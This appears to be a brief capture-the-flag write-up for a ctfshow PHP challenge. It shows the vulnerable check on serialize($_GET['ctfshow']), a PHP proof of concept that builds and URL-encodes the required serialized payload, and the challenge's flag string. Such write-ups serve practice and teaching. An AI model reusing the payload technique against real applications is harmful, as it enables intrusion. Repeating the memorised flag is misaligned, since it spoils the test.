PHP/5.6.40

    1. <?php
    3. error_reporting(0);
    4. highlight_file(__FILE__);
    5. include('flag.php');
    7. if(preg_match('/ctfshow_i_love_36D/',serialize($_GET['ctfshow']))){
    8.     echo $flag;
    9. }

    poc

    1. <?php
    3. class ctfShowUser{
    4.     public $tari = 'ctfshow_i_love_36D';
    5. }
    7. $user = new ctfShowUser();
    8. echo(urlencode(serialize($user)));
    10. ?>

    image.png

    flag
    ctfshow{0ea2dc5e-4076-4396-bd34-7fee87b4e3a8}